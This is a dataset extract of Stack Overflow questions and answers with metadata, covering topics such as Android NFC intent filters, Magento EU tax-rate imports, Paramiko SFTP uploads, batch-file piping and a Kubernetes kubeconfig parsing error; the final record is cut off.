text
stringlengths 15
59.8k
| meta
dict |
---|---|
Q: Why can't I store email bodies in a relational database? Say I define a table users with a column for email messages where I dump the whole message as a string.
It would be ugly and messy but would it work? What would be the consequence of doing this?
I am asking because I read that unstructured data cannot be stored in a relational database and an email body is highly unstructured but it in itself is just a string.
A: Yes, you can put the whole email into a "text" or "string" column in the database.
Even better, many databases support text search functionality. So you could build a text index and be able to search through the email body efficiently.
The downside is that the rows are bigger, which can slow down using the table. If the emails are repeated, then you probably want a separate table for the emails, with an id representing the text. Another table would show which users received which email.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/50543618",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Plotting Grouped Data, grouped by multiple columns in pandas I have a grouped dataframe according to two columns.
Now i want to plot the data of Date vs Confirmed in seaborn.
Is there a good way to do it.
grouped_series = cases.groupby(['Country/Region','ObservationDate'])['Confirmed','Deaths','Recovered'].sum()
print(grouped_series)
A: You can change aggregatetion for grouping by datetimes only:
cases.groupby(['ObservationDate'])['Confirmed'].sum().plot()
Or if need summed values per ObservationDate and Country/Region:
cases.groupby(['Country/Region','ObservationDate'])['Confirmed'].sum().unstack(0).plot()
| {
"language": "en",
"url": "https://stackoverflow.com/questions/60912708",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How can I convert React code to ClojureScript one? Here is the code I want to convert into ClojureScript:
<Table
onRow={(record, rowIndex) => {
return {
onClick: (event) => {},
onDoubleClick: (event) => {},
};
}}
....
I need to be able to provide multiple events on Table (onRow) component but could not find a way to convert this code into ClojureScript.
A: onRow seems expect a "factory" function which returns the actual event handlers.
(defn on-row-factory [record row-index]
#js {:onClick (fn [event] ...)
:onDoubleClick (fn [event] ...)})
;; reagent
[:> Table {:onRow on-row-factory} ...]
You don't need to use the defn and could just inline a fn instead.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/54979383",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Open Android Activity when NFC_TECH is discovered I am developing an app which is required to open upon scanning an NFC tag that doesn't contain any data(?) except for ID.
The items in database are supposed to be identified by that ID and I am not supposed to write anything on these tags
I can get the device to scan the tag in foreground mode by calling
enableForegroundDispatch()
and it returns me with new intent that contains the required data EXTRA_ID
However when the application is on background and I scan a tag, I can hear the system sound for scan completion but the app is not opened
I have the following intent filter on my application manifest
<intent-filter>
<action android:name="android.nfc.action.TAG_DISCOVERED"/>
</intent-filter>
<intent-filter>
<action android:name="android.nfc.action.TECH_DISCOVERED"/>
</intent-filter>
<meta-data android:name="android.nfc.action.TECH_DISCOVERED"
android:resource="@xml/nfc_tech_filter" />
nfc_tech_filter.xml contains all the tags supported by Android
<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<tech-list>
<tech>android.nfc.tech.IsoDep</tech>
<tech>android.nfc.tech.NfcA</tech>
<tech>android.nfc.tech.NfcB</tech>
<tech>android.nfc.tech.NfcF</tech>
<tech>android.nfc.tech.NfcV</tech>
<tech>android.nfc.tech.Ndef</tech>
<tech>android.nfc.tech.NdefFormatable</tech>
<tech>android.nfc.tech.MifareClassic</tech>
<tech>android.nfc.tech.MifareUltralight</tech>
</tech-list>
</resources>
The tag I am scanning is of type android.nfc.tech.MifareUltralight, android.nfc.tech.NfcA, android.nfc.tech.NdefFormatable
I am only interested in the tag ID
Is it possible to get my activity opened/notified upon tag scanning without writing anything on the tag?
A: As you already seem to have found out yourself, that's possible using the TECH_DISCOVERED intent filter:
<intent-filter>
<action android:name="android.nfc.action.TECH_DISCOVERED"/>
</intent-filter>
<meta-data android:name="android.nfc.action.TECH_DISCOVERED"
android:resource="@xml/nfc_tech_filter" />
The problem is your tech-filter XML file. The tech-filter that you specified translates to *match any tag that is IsoDep and NfcA and NfcB and and NfcF and etc. As some of these tag technologies (e.g. Nfc[A|B|F|V]) are mutually exclusive, no tag will ever match this condition.
You can overcome this by specifying a tech-filter that matches all these technologies with logical or:
<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<tech-list>
<tech>android.nfc.tech.IsoDep</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NfcA</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NfcB</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NfcF</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NfcV</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.Ndef</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NdefFormatable</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.MifareClassic</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.MifareUltralight</tech>
</tech-list>
<tech-list>
<tech>android.nfc.tech.NfcBarcode</tech>
</tech-list>
</resources>
Or as you already found that your tag is NfcA, you could also simply match NfcA:
<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<tech-list>
<tech>android.nfc.tech.NfcA</tech>
</tech-list>
</resources>
A: To open your android app on NDEF_DISCOVERED.
You have to set your custom mimeType. By doing so, you are letting the android know that this is your custom tag and this application is well suitable for that tag.
Note: You can not expect your app to open for all the tag types/mime type that you show. As you know, that is user's choice to select his/her preferred app.
<intent-filter>
<action android:name="android.nfc.action.NDEF_DISCOVERED" />
<!-- THIS ONE -->
<data android:mimeType="application/com.myExample.myVeryOwnMimeType" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/29794021",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Refused: not authorized error occurs with IBM IoT Foundation on Bluemix When I attempt to connect to the IBM IoT Foundation with a registered device, I receive the following error message:
Error connecting to IBM IoT: {"errorCode":6,"errorMessage":"AMQJS0006E Bad Connack return code:5 Connection Refused: not authorized."}
How do I resolve this problem?
A: It is possible that you have expired as a member of your org if you created the service (and thereby the org) via the Bluemix dashboard. When you log into Bluemix, you get a 24 hour pass as a guest. You can then go into the IoTF dashboard and add yourself as a permanent member.
Do this by launching the IoTF dashboard from your Bluemix IoT service and then go to the Access tab. You should see yourself as a "guest" user, and you can add yourself as a permanent member. From the Access tab, add yourself as a permanent member of the org.
A: Yeah, maybe just API attempts for trial are out?
CHeck in Bluemix panel
| {
"language": "en",
"url": "https://stackoverflow.com/questions/33309617",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How can i change or remove title and page address? I use some CSS styling to hide input buttton, images and so on but i wonder how can i remove or better: modify, where / what shows up on printed page in place of title and page address?
A: This is the browser's standard header and footer, and cannot be controlled by CSS.
A: Sadly, you can't. Those headers and footers are added by the browser. You can usually remove them in the browser's "Print" settings, but there's no way to get rid of them globally for all users.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/2516487",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How can I create a valid tax rates for all EU countries (2013) in Magento How can I a create valid tax rates for all EU countries (2013) in Magento?
Wie erstelle ich einen gültigen Steuersätze für alle Länder der EU (2013) in Magento?
A: I have created a CSV tax rates import file for all EU countries based on the DE VAT rate (19%).
Magento CSV Steuersätze Import-Datei für alle EU-Länder (2013).
Ich habe eine CSV Steuersätze Import-Datei für alle EU-Länder auf dem DE MwSt.-Satz (19%) basiert.
(magento_eu_tax_rates.csv)
Code,Country,State,Zip/Post Code,Rate,Zip/Post is Range,Range From,Range To,default,germany
AT,AT,*,,19,,,,VAT,
BE,BE,*,,19,,,,VAT,
BG,BG,*,,19,,,,VAT,
HR,HR,*,,19,,,,VAT,
CY,CY,*,,19,,,,VAT,
CZ,CZ,*,,19,,,,VAT,
DK,DK,*,,19,,,,VAT,
EE,EE,*,,19,,,,VAT,
FI,FI,*,,19,,,,VAT,
FR,FR,*,,19,,,,VAT,
DE,DE,*,,19,,,,VAT,
GR,GR,*,,19,,,,VAT,
HU,HU,*,,19,,,,VAT,
IE,IE,*,,19,,,,VAT,
IT,IT,*,,19,,,,VAT,
LV,LV,*,,19,,,,VAT,
LT,LT,*,,19,,,,VAT,
LU,LU,*,,19,,,,VAT,
MT,MT,*,,19,,,,VAT,
NL,NL,*,,19,,,,VAT,
PL,PL,*,,19,,,,VAT,
PT,PT,*,,19,,,,VAT,
RO,RO,*,,19,,,,VAT,
SK,SK,*,,19,,,,VAT,
SI,SI,*,,19,,,,VAT,
ES,ES,*,,19,,,,VAT,
SE,SE,*,,19,,,,VAT,
GB,GB,*,,19,,,,VAT,
A: An up to date CSV for EU tax rates in 2014 that works with Magento 1.9.0.1 (note that this is the current UK VAT rate of 20%). It should also be noted that Iceland, Liechtenstein, Norway and Switzerland are exempt from UK VAT.
Code,Country,State,Zip/Post Code,Rate,Zip/Post is Range,Range From,Range To,default
GB,GB,*,,20.0000,,,,VAT
AL,AL,*,,20.0000,,,,VAT
AD,AD,*,,20.0000,,,,VAT
AT,AT,*,,20.0000,,,,VAT
BY,BY,*,,20.0000,,,,VAT
BE,BE,*,,20.0000,,,,VAT
BA,BA,*,,20.0000,,,,VAT
BG,BG,*,,20.0000,,,,VAT
HR,HR,*,,20.0000,,,,VAT
CY,CY,*,,20.0000,,,,VAT
CZ,CZ,*,,20.0000,,,,VAT
DK,DK,*,,20.0000,,,,VAT
EE,EE,*,,20.0000,,,,VAT
FO,FO,*,,20.0000,,,,VAT
FI,FI,*,,20.0000,,,,VAT
FR,FR,*,,20.0000,,,,VAT
DE,DE,*,,20.0000,,,,VAT
GI,GI,*,,20.0000,,,,VAT
GR,GR,*,,20.0000,,,,VAT
HU,HU,*,,20.0000,,,,VAT
IS,IS,*,,0.0000,,,,VAT
IE,IE,*,,20.0000,,,,VAT
IT,IT,*,,20.0000,,,,VAT
LV,LV,*,,20.0000,,,,VAT
LB,LB,*,,20.0000,,,,VAT
LI,LI,*,,0.0000,,,,VAT
LT,LT,*,,20.0000,,,,VAT
LU,LU,*,,20.0000,,,,VAT
MT,MT,*,,20.0000,,,,VAT
MD,MD,*,,20.0000,,,,VAT
MC,MC,*,,20.0000,,,,VAT
ME,ME,*,,20.0000,,,,VAT
NL,NL,*,,20.0000,,,,VAT
NO,NO,*,,0.0000,,,,VAT
PL,PL,*,,20.0000,,,,VAT
PT,PT,*,,20.0000,,,,VAT
RO,RO,*,,20.0000,,,,VAT
RS,RS,*,,20.0000,,,,VAT
SK,SK,*,,20.0000,,,,VAT
SI,SI,*,,20.0000,,,,VAT
ES,ES,*,,20.0000,,,,VAT
SJ,SJ,*,,20.0000,,,,VAT
SE,SE,*,,20.0000,,,,VAT
CH,CH,*,,0.0000,,,,VAT
TR,TR,*,,20.0000,,,,VAT
UA,UA,*,,20.0000,,,,VAT
VA,VA,*,,20.0000,,,,VAT
| {
"language": "en",
"url": "https://stackoverflow.com/questions/19950274",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Parallel processing with Pipe command I'd like to parallel process the command that downloads a live stream.
So if it has 4 parts and the PARTS variable contains the number 4, it should open 4 new cmd windows and process the individual part.
After reading a lot about parallel processing I came to the following solution:
set /p URL=Enter video URL:
set /p NAME=Enter video name:
set /p PARTS=Enter Number of Parts:
for /l %%x in (1, 1, %PARTS%) do (
start cmd /C "C:\Program Files (x86)\Streamlink\bin\streamlink.exe" -O "%URL%/%%x" best | ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "%NAME%p%%x.mp4"
)
There seems to be an issue with the | command though since this script would open windows that close right after start and the output of the piped command ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "%NAME%p%%x.mp4 would show in the initial cmd window that executed the script.
How can I change it so the whole command gets executed in the new window?
A: To not let the pipe process the output of the start command, you need to escape it:
start "" cmd /C "C:\Program Files (x86)\Streamlink\bin\streamlink.exe" -O "%URL%/%%x" best ^| ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "%NAME%p%%x.mp4"
Since quotation is not modified this way, the used path and all variable parts still appear quoted to the calling cmd instance too, so no more additional escaping is required, unless these strings may contain quotation marks on their own, in which case I strongly recommend delayed expansion:
setlocal EnableDelayedExpansion
rem // some other code...
set /P URL="Enter video URL: "
set /P NAME="Enter video name: "
rem // some other code...
start "" cmd /C "C:\Program Files (x86)\Streamlink\bin\streamlink.exe" -O "!URL!/%%x" best ^| ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "!NAME!p%%x.mp4"
rem // some other code...
endlocal
The "" behind the start command should be stated to provide a window title; otherwise an error could occur as the first quoted item was taken as the title rather than as part of the command line.
The above line still could cause problems, since the cmd instance executing the actual commands receives the already expanded values rather than the variable. So you might even need to do this:
rem // Supposing delayed expansion is disabled in the hosting `cmd` instance:
start "" cmd /C /V "C:\Program Files (x86)\Streamlink\bin\streamlink.exe" -O "!URL!/%%x" best ^| ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "!NAME!p%%x.mp4"
setlocal EnableDelayedExpansion
rem // Supposing delayed expansion is enabled in the hosting `cmd` instance:
start "" cmd /C /V "C:\Program Files (x86)\Streamlink\bin\streamlink.exe" -O "^!URL^!/%%x" best ^| ffmpeg -y -i pipe:0 -c:v copy -c:a copy -absf aac_adtstoasc "^!NAME^!p%%x.mp4"
endlocal
Note that the pipe | creates two more cmd instances one for either side, implicitly.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/43521909",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: JavaScript - Replace variable from string in all occurrences OK, I know if I have say the character '-' and I want to remove it in all places in a string with JavaScript, I simply ...
someWord = someWord.replace(/-/g, '');
But, when applying this to an array of characters, it s not working ...
const badChars = ('\/:*?"<>|').split('');
let fileName = title.replace(/ /g, '-').toLocaleLowerCase();
for (let item = 0; item < badChars.length; item++) {
// below will not work with global '/ /g'
fileName = fileName.replace(/badChars[item]/g, '');
}
Any ideas?
A: /badChars[item]/g looks for badChars, literally, followed by an i, t, e, or m.
If you're trying to use the character badChars[item], you'll need to use the RegExp constructor, and you'll need to escape any regex-specific characters.
Escaping a regular expression has already been well-covered. So using that:
fileName = fileName.replace(new RegExp(RegExp.quote(badChars[item]), 'g'), '');
But, you really don't want that. You just want a character class:
let fileName = title.replace(/[\/:*?"<>|]/g, '-').toLocaleLowerCase();
A: Found it ....
fileName = fileName.replace(/[-\/\\^$*+?.()|[\]{}]/g, '');
| {
"language": "en",
"url": "https://stackoverflow.com/questions/33445534",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Margins vs. positions in fixed position elements A little popup told me I had a new Twitter follower in my browser. I clicked inspect element to poke around, and of course wasn't surprised that it was a fixed position element, but the CSS surprised me.
#spoonbill-outer {
position: fixed;
right: 0px;
bottom: 0px;
margin: 22px;
z-index: 10;
}
Is there a reason for using margins instead of right:22px, bottom:22px?
A: Interesting point to consider, I tried it both ways and essentially both approaches lead to the same result.
I would say both approaches are equivalent in the simplest example.
If you look at the CSS specification, the left/right offsets and the left/right margins and the width can be constrained depending on which values are specified or set to auto.
See: http://www.w3.org/TR/CSS21/visudet.html#abs-non-replaced-width
However, I found it hard to imagine a case in which specifying offsets versus margins would make a difference (there might be an exotic case, but I can't think of it off the top of my head).
body {
margin: 0;
}
.popup {
background-color: yellow;
position: fixed;
right: 0;
bottom: 0;
margin: 40px;
}
.popup-alt {
background-color: lightblue;
position: fixed;
right: 40px;
bottom: 40px;
}
<div class="popup">Yellow Popup Element</div>
<div class="popup-alt">Blue Popup Element</div>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/31149833",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Data-binding to singleton source works only on Windows Phone emulator, but not on device I've created a singleton class to store information I want to share globally between controls in a Windows Phone 7 app I'm working on.
Specifically, I'm using a data-binding to sync the IsExpanded property between various Silverlight Toolkit ExpanderViews. The problem I'm experiencing is that the value doesn't seem to propagate, but only on a physical Windows Phone device...the app works fine on the emulator.
Since all other bindings to sources other than the singleton class in this project are working fine, I've assumed I implemented the binding and/or singleton incorrectly, or am missing something obvious...but every thread on this forum and others I've checked hasn't helped me solve this issue.
The singleton class is as follows:
class ControlStateContainer : INotifyPropertyChanged
{
private static readonly ControlStateContainer _instance = new ControlStateContainer();
private bool _optionsExpanded = false;
private ControlStateContainer()
{ }
public static ControlStateContainer Instance
{
get { return _instance; }
}
public bool OptionsExpanded
{
get { return _optionsExpanded; }
set
{
_optionsExpanded = value;
this.NotifyPropertyChanged("OptionsExpanded");
}
}
public event PropertyChangedEventHandler PropertyChanged;
public void NotifyPropertyChanged(string name)
{
var handler = PropertyChanged;
if (handler != null)
PropertyChanged(this, new PropertyChangedEventArgs(name));
}
}
And I'm binding the IsExpanded property of the ExpanderViews with the following code:
Binding _isExpandedBinding = new Binding
{
Source = ControlStateContainer.Instance,
Path = new PropertyPath("OptionsExpanded"),
Mode = BindingMode.TwoWay
};
expander.SetBinding(ExpanderView.IsExpandedProperty, _isExpandedBinding);
The ExpanderViews behave as expected on the emulator, but when I deploy the app to a device the binding no longer seems to work.
I'm still quite new to C# and Windows Phone development in general and fully expect this to be a cringeworthily simple detail I've missed...any ideas?
A: Apparently the singleton class has to be explicitly declared public...now it works on both the emulator and the device.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/15671305",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: IOError: [Errno 2] No such file when using Paramiko in Python to upload file over SSH this question was asked before a few years back by someone but it looks like it went back and forth for some time without a clear answer. That question is here for reference:
IOError: [Errno 2] No such file - Paramiko put()
Basically, I am trying to run a Python script (using Paramiko) in order to upload a file via SSH. I have tried several different things, including changing the URL to my local file so that it's an absolute path rather than relative but I always get a "IOERROR: [Errno2] No such file error regardless of what I do. here is my code:
import os
import paramiko
server = "sample_server.net"
ssh = paramiko.SSHClient()
ssh.load_host_keys(os.path.expanduser(os.path.join("~", ".ssh",
"known_hosts")))
ssh.connect(server, username="cb", password="pass")
sftp = ssh.open_sftp()
sftp.put("test_upload.xml", "/home/sample/root/cb")
sftp.close()
ssh.close()
Has anyone ran into this before or have any clue on what the issue may be? I am absolutely sure that file does exit so I am not sure why it can't be found. Thanks.
A: try adding the file name in the remotepath parameter. From the API docs for put:
"remotepath (str) – the destination path on the SFTP server. Note that the filename should be included. Only specifying a directory may result in an error."
http://docs.paramiko.org/en/2.4/api/sftp.html#paramiko.sftp_client.SFTPClient
import os
import paramiko
server = "sample_server.net"
ssh = paramiko.SSHClient()
ssh.load_host_keys(os.path.expanduser(os.path.join("~", ".ssh", "known_hosts")))
ssh.connect(server, username="cb", password="pass")
sftp = ssh.open_sftp()
sftp.put("test_upload.xml", "/home/sample/root/cb/test_upload.xml")
sftp.close()
ssh.close()
Doing this worked for me.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/48372238",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Virtual Allocation - Hardware and Software dependencies What are the OS/Software settings, that have significance in Virtual memory allocation.
Because virtual memory for a particular address always success in my colleagues Win-7 Pc,but it always fails in my Win-7 pc.
Hardware wise there is no difference .i just want to know what are all the software/OS parameter i should cross-verify with my colleagues pc.
Language using: Visual Studio
Os: Windows-7 64 bit Laptop
A: 1) Windows Sysinternals VMMap can give you quite good insight into the virtual memory layout in a particular process. If comparing visualizations provided by this tool on the 2 PCs does not help then...
2) ...Google: "virtual memory configuration windows 7" should throw you quite quickly in the right direction
3) Also in your original question https://stackoverflow.com/q/25263223/2626313 the problem with exact address may be that the address range is already used by a hardware component. You can check that by using Control Panel → Device Manager, switch menu View → Resources by type and check what you see under the Memory node
4) finally this https://superuser.com/a/61604/304578 article contains link to Mark Russinovich's (original author of the Windows Sysinternals tool set) explaining blog article perhaps related to your problem
| {
"language": "en",
"url": "https://stackoverflow.com/questions/25502542",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: XamlBindingHelper Class Can somebody provide an overview for use of the XamlBindingHelper class with examples? Specifically the GetDataTemplateComponent and SetDataTemplateComponent method.
A: In the official document, it says
This class is for use in code that is generated by the XAML compiler.
This tells me that I should be able to find some reference of it in code-generated classes (.g.cs) by x:Bind, given there's not a single thread on the Internet that explains what exactly it does.
So I created a test UWP project with a ListView, and inside its ItemTemplate I threw in some x:Bind with x:Phase. After I compiled the project, I found some of its methods used inside my MainPage.g.cs -
XamlBindingHelper.ConvertValue
public static void Set_Windows_UI_Xaml_Controls_ItemsControl_ItemsSource(global::Windows.UI.Xaml.Controls.ItemsControl obj, global::System.Object value, string targetNullValue)
{
if (value == null && targetNullValue != null)
{
value = (global::System.Object) global::Windows.UI.Xaml.Markup.XamlBindingHelper.ConvertValue(typeof(global::System.Object), targetNullValue);
}
obj.ItemsSource = value;
}
Apparently the XamlBindingHelper.ConvertValue method is for converting values. I knew this already, as I used it in one of my recent answers on SO.
XamlBindingHelper.SuspendRendering & XamlBindingHelper.ResumeRendering
public int ProcessBindings(global::Windows.UI.Xaml.Controls.ContainerContentChangingEventArgs args)
{
int nextPhase = -1;
switch(args.Phase)
{
case 0:
nextPhase = 1;
this.SetDataRoot(args.Item);
if (!removedDataContextHandler)
{
removedDataContextHandler = true;
((global::Windows.UI.Xaml.Controls.StackPanel)args.ItemContainer.ContentTemplateRoot).DataContextChanged -= this.DataContextChangedHandler;
}
this.initialized = true;
break;
case 1:
global::Windows.UI.Xaml.Markup.XamlBindingHelper.ResumeRendering(this.obj4);
nextPhase = -1;
break;
}
this.Update_((global::System.String) args.Item, 1 << (int)args.Phase);
return nextPhase;
}
public void ResetTemplate()
{
this.bindingsTracking.ReleaseAllListeners();
global::Windows.UI.Xaml.Markup.XamlBindingHelper.SuspendRendering(this.obj4);
}
XamlBindingHelper.SuspendRendering & XamlBindingHelper.ResumeRendering look very interesting. They seem to be the key functions to enable ListView/GridView's incremental item rendering which helps improve the overall panning/scrolling experience.
So apart from x:DeferLoadingStrategy and x:Load(Creators Update), they are something else that could be used to improve your app performance.
IDataTemplateComponent & IDataTemplateExtension
However, I couldn't find anything related to GetDataTemplateComponent and SetDataTemplateComponent. I even tried to manually set this attached property in XAML but the get method always returned null.
And here's the interesting bit. I later found this piece of code in the generated class.
case 2: // MainPage.xaml line 13
{
global::Windows.UI.Xaml.Controls.Grid element2 = (global::Windows.UI.Xaml.Controls.Grid)target;
MainPage_obj2_Bindings bindings = new MainPage_obj2_Bindings();
returnValue = bindings;
bindings.SetDataRoot(element2.DataContext);
element2.DataContextChanged += bindings.DataContextChangedHandler;
global::Windows.UI.Xaml.DataTemplate.SetExtensionInstance(element2, bindings);
}
break;
The method DataTemplate.SetExtensionInstance looks very similar to XamlBindingHelper.SetDataTemplateComponent. It takes element2 which is the root Grid inside the ItemTemplate of my ListView, and an IDataTemplateExtension; where the latter takes an element and an IDataTemplateComponent. If you have a look at their definitions, their functionalities are very similar, which makes me think if DataTemplate.SetExtensionInstance is the replacement of XamlBindingHelper.SetDataTemplateComponent? I'd love to know if otherwise.
Unlike IDataTemplateComponent, you can get an instance of the IDataTemplateExtension in your code -
var firstItemContainer = (ListViewItem)MyListView.ContainerFromIndex(0);
var rootGrid = (Grid)firstItemContainer?.ContentTemplateRoot;
var dataTemplateEx = DataTemplate.GetExtensionInstance(rootGrid);
In my case, the dataTemplateEx is an instance of another generated class called MainPage_obj2_Bindings, where you have access to methods like ResetTemplate and ProcessBindings.
I assume they could be helpful if you were to build your own custom list controls, but other than that I just can't see why you would ever need them.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/44894073",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Using indirect within an array I'm trying to use an array formula which has an indirect within it. The formula returns #VALUE however if I solve the 'indirect' portion of the array using F9 then solve the rest of the array, it works. Any ideas?
The following is the formula, hopefully this is helpful without the raw data:
=SUM((dat = x)*(dat)*(INDIRECT(ADDRESS((MATCH(dat)),MATCH(dat))))
| {
"language": "en",
"url": "https://stackoverflow.com/questions/14739747",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Iterate through object in React - "expression expected" I have following source code:
export const LinksPure = (props: AllProps) => {
const { t } = useTranslation();
const { component } = props;
return (
<DetailsBox title={t('catalogPage.componentDetails.specs.links')}>
{Object.keys(component?.external_links?).map((item, index) => {
})}
</DetailsBox>
);
};
types for TypeScript:
export const ExternalLinks = Record({});
const SharedComponentDetailsFields = {
id: Number,
name: String.Or(Null),
description: String.Or(Null),
reference: String,
manufacturer: String,
integration_effort: Number,
attachments: Attachments,
prices: Prices,
spec: String.Or(Null),
task_id: Number.Or(Null),
updated_at: String,
notes: String.Or(Null),
external_links: ExternalLinks,
use_cases: Array(UseCase),
};
All I want to do is to iterate thorugh external_links field, but got error:
Any idea what I do wrong?
A: You'd want to put the optional chain's question mark after the ), just before the . for the syntax to be valid, but you also can't call Object.keys on something that isn't defined. Object.keys will return an array or throw, so the optional chain for the .map isn't needed.
Try something like
{Object.keys(component?.external_links ?? {}).map((item, index) => {
})}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/63888589",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Check whether obj.value has decimal part or not I'm working in an existing project in angularjs and I'm newbie.
I have the following code:
<td ng-if="obj.value != ''">{{obj.value}}</td>
I need to check whether obj.value has decimal part or not. I yes I want to limit the decimal part to 1 digit.
I tried <td ng-if="obj.value != ''">{{obj.value|number:1}}</td> but converts also integer values to decimals.
Any ideas?
A: You can simply do it like this:
<td ng-if="obj.value != ''">{{obj.value | number: obj.value % 1 === 0 ? 0 : 1}}</td>
You find a more detailed explanation about the number pipe here in this documentation and regarding checking integer there are multiple answers but you can refer this question for them.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/63885568",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Is it possible to get the request per second from AWS load balancer? Is it possible to get the number of requests sent to a load balancer in AWS?
I am trying to monitor the number of requests that our load balancers are receiving. Both ELB and Application Load Balance (alb).
Is there a way to do this from the cli? or the Javascript sdk?
A: Amazon CloudWatch has a RequestCount metric that measures "The number of requests received by the load balancer".
The Load Balancer can also generate Access Logs that provide detailed information about each request.
See:
*
*CloudWatch Metrics for Your Classic Load Balancer
*CloudWatch Metrics for Your Application Load Balancer
| {
"language": "en",
"url": "https://stackoverflow.com/questions/41777151",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Getting "Error: Failed to load current kubeconfig. Please confirm that your kubeconfig is valid." when using VS Code Bridge to kubernetes When trying to use the Bridge Kubernetes extension of VS Code, having configured the
tasks.json as follows:
"version": "2.0.0",
"tasks": [
{
"label": "bridge-to-kubernetes.service",
"type": "bridge-to-kubernetes.service",
"service": "frontend",
"ports": [
8080
],
"targetCluster": "minikube",
"targetNamespace": "ecomm-ns"
}
]
}
And my launch.json as
"name": "Launch Package with Kubernetes",
"type": "go",
"request": "launch",
"mode": "debug",
"program": "${workspaceFolder}",
"env": {
"GOOGLE_APPLICATION_CREDENTIALS": "somepath/ecomm-key.json",
},
"preLaunchTask": "bridge-to-kubernetes.service"
}
I get following output:
Target cluster: minikube
Current cluster: minikube
Target namespace: ecomm-ns
Current namespace: ecomm-ns
Target service name: frontend
Target service ports: 8080
Error: Failed to load current kubeconfig. Please confirm that your kubeconfig is valid.
The terminal process terminated with exit code: 1.
Kkubectl config view gives me correct output
Looking at the logs of the bridge plugin, I hav the following:
2021-02-02T07:40:18.1876210Z | Library | WARNG | Failed to load kubeconfig at '/Users/scaucheteux/.kube/config': (Line: 10, Col: 5, Idx: 1804) - (Line: 10, Col: 6, Idx: 1805): Expected 'MappingStart', got 'SequenceStart' (at Line: 10, Col: 5, Idx: 1804).
My kubeconfig looks fine and is correctly parsed by various yaml plugins and by kubectl:
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJ
server: https://35.205.91.182
name: gke_sca-ecommerce-291313_europe-west1-b_ecomm-demo
- cluster:
certificate-authority: /Users/someuser/.minikube/ca.crt
extensions:
- extension :
last-update: Mon, 01 Feb 2021 15:27:30 CET
provider: minikube.sigs.k8s.io
version: v1.17.1
name: cluster_info
server: https://127.0.0.1:55000
name: minikube
contexts:
- context:
cluster: gke_sca-ecommerce-291313_europe-west1-b_ecomm-demo
namespace: ecomm-ns
user: gke_sca-ecommerce-291313_europe-west1-b_ecomm-demo
name: gke_sca-ecommerce-291313_europe-west1-b_ecomm-demo
- context:
cluster: minikube
extensions:
- extension:
last-update: Mon, 01 Feb 2021 15:27:30 CET
provider: minikube.sigs.k8s.io
version: v1.17.1
name: context_info
namespace: ecomm-ns
user: minikube
name: minikube
current-context: minikube
kind: Config
preferences: {}
users:
- name: gke_sca-ecommerce-291313_europe-west1-b_ecomm-demo
user:
auth-provider:
config:
access-token: ya29.A0A
cmd-args: config config-helper --format=json
cmd-path: /Users/someuser/Devs/gcloud/google-cloud-sdk/bin/gcloud
expiry: "2021-02-01T18:23:02Z"
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
name: gcp
- name: minikube
user:
client-certificate: /Users/someuser/.minikube/profiles/minikube/client.crt
client-key: /Users/someuser/.minikube/profiles/minikube/client.key
A: Read somewhere else removing the extensions fixes it for minikube
https://github.com/microsoft/mindaro/issues/111
| {
"language": "en",
"url": "https://stackoverflow.com/questions/65998115",
